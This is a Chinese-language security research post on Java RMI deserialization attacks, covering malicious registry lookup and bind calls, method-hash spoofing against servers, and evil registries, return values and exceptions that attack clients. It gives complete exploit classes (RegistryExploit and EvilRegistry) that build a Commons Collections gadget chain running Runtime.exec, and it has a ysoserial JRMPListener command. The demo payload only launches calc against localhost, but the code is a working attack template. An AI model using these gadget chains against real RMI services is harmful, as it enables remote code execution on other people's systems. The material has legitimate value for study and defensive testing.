参考:

https://halfblue.github.io/2021/11/02/RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E4%B8%89%E9%A1%BE%E8%8C%85%E5%BA%90-%E6%94%BB%E5%87%BB%E5%AE%9E%E7%8E%B0/

lookup bind 攻击注册中心

客户端获得RegistryImpl_Stub后,调用lookup,或者bind,参数会被远程注册中心反序列化,因此可以攻击。但是lookup和bind无法传Object类型,得手动实现恶意lookup或bind方法。

适用JDK版本:jdk<8u121

大致调用栈如下:

handleMessages
serviceCall
UnicastServerRef#dispatch
oldDispatch
RegistryImpl_Skel#dispatch //客户端/服务端攻击注册中心
case 0: // bind(String, Remote)
case 1: // list()
case 2: // lookup(String)
in.readObject(); // 对lookup的参数进行反序列化。客户端攻击服务端
case 3: // rebind(String, Remote)
case 4: // unbind(String)

代码

public class RegistryExploit {
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);

lookup(registry);
// bind(registry);
}

public static void lookup(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(genEvilMap());
ref.invoke(var2);

}

public static void bind(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var3 = ref.newCall(registry, operations, 0, 4905912898345647071L);

ObjectOutput var4 = var3.getOutputStream();
var4.writeObject("test");
var4.writeObject(genEvilMap());

ref.invoke(var3);

}

public static HashMap genEvilMap() throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return map2;
}
}

参数 method hash 攻击服务端

正常情况下,client和server的远程对象接口的方法参数是相同的。假如server的方法参数为String,而client的方法参数为Object,client调用方法发送参数能否正常被server反序列化?

分别用idea打开两个相同的demo,一个做client,一个做server。主要修改接口的方法参数,其他位置不变。

client的IRemoteObj的参数改为Object。

public interface IRemoteObj extends Remote {
public Object sayhello1(Object key) throws RemoteException;
}

server的IRemoteObj的sayhello1的参数为String。

测试对象Bean,这个类在server和client都有。

public class Bean implements Serializable{

private String name;

public Bean(String name) {
this.name = name;
}

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
System.out.println("bean: readObject");
}
}

启动server,然后client调用sayhello1,传Bean对象。

Registry r= LocateRegistry.getRegistry("127.0.0.1",7788);
IRemoteObj remoteObj= (IRemoteObj) r.lookup("remoteobj");
remoteObj.sayhello1(new Bean("client Bean"));

直接运行会报错:Caused by: java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:294)

大致意思就是UnicastServerRef保存了一个Map,这个Map保存了方法hash与方法的对应关系。方法hash的计算和参数类型有关。

那现在就要知道:哪里计算了hash,或者哪里保存了hash,或者哪里发送了hash。

断点打在:UnicastRef#invoke

RMI(2

向上溯源

RMI(2

果然是在这里发送了。

跟进new StreamRemoteCall

RMI(2

把hash写进了流。那么UnicastServerRef中则通过readLong获取hash。

在UnicastServerRef的dispatch中,可以看见hash被读出。

RMI(2

那么client调用方法时,参数还是Object,但是发送一个String参数的hash过去,server不就能反序列化了吗?

实际操作可以想到用Agent修改getMethodHash方法,使之恒返回String参数的方法的hash。这里为了方便测试,直接用debug自带的setValue。

首先client的IRemoteObj的方法参数改为String,然后断点打在UnicastRef#invoke,拿到方法的hash,我拿到的是7875784002914950643,我没研究过算法,读者若测试可能计算得不同。

然后方法参数改回Object,传一个Bean,执行到var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);时,把var4改为上面的hash,然后发送。

RMI(2

然后异常就是Exception in thread "main" java.lang.IllegalArgumentException: argument type mismatch

查看server的console,成功执行Bean的readObject。

RMI(2

注册中心bind攻击客户端

在server中bind的对象:

Registry r= LocateRegistry.createRegistry(7788);
r.bind("remoteobj",remoteObj);

在client中lookup的对象:

Registry r= LocateRegistry.getRegistry("127.0.0.1",7788);
IRemoteObj remoteObj= (IRemoteObj) r.lookup("remoteobj");

这两个对象是同一个。

若server中bind一个恶意对象,那么client lookup时候就会readObject,导致被攻击。

exp

public class EvilRegistry {
public static void main(String[] args) throws Exception {
new RemoteObjImpl();
Remote remoteObj = new RemoteWrapper();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

class RemoteWrapper implements Remote, Serializable {
private Map map;

RemoteWrapper() throws Exception {
this.map = genEvilMap();
}
}

因为bind需要Remote对象,所以封装了一个类。这里虽然客户端上没有这个Wrapper类,但反序列化是从里往外的,在报错之前里面的恶意Map已经反序列化完成了。另外如果不发布一个真的远程对象程序就直接运行结束了,所以new了一个RemoteObjImpl。除此之外还可以用sleep。

相关调用栈

RegistryImpl_Stub#lookup
UnicastRef#newCall

UnicastRef#invoke
StreamRemoteCall#executeCall
DataInputStream rd = new DataInputStream(conn.getInputStream());//和注册中心通信,获取stub的原始数
readObject //反序列化得到stub,注册中心攻击客户端

方法返回值 攻击客户端

道理很简单,远程方法执行结束后返回值会被客户端反序列化。

具体调用栈:

RemoteObjectInvocationHandler#invoke
invokeRemoteMethod
UnicastRef#invoke
var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);
var7.executeCall();
unmarshalValue //这个方法是用来判断值类型的。
readObject() //若类型不是基础类型,则对远程方法的返回值readObject。

异常 攻击客户端

客户端请求服务端,服务端返回一个异常,把payload装异常里,就会被客户端反序列化。

对应的调用栈:

UnicastRef#invoke
StreamRemoteCall#executeCall
DataInputStream rd = new DataInputStream(conn.getInputStream());

case TransportConstants.ExceptionalReturn:in.readObject();

监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

然后客户端只要调用任意一个stub,触发UnicastRef#invoke就会被攻击。

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");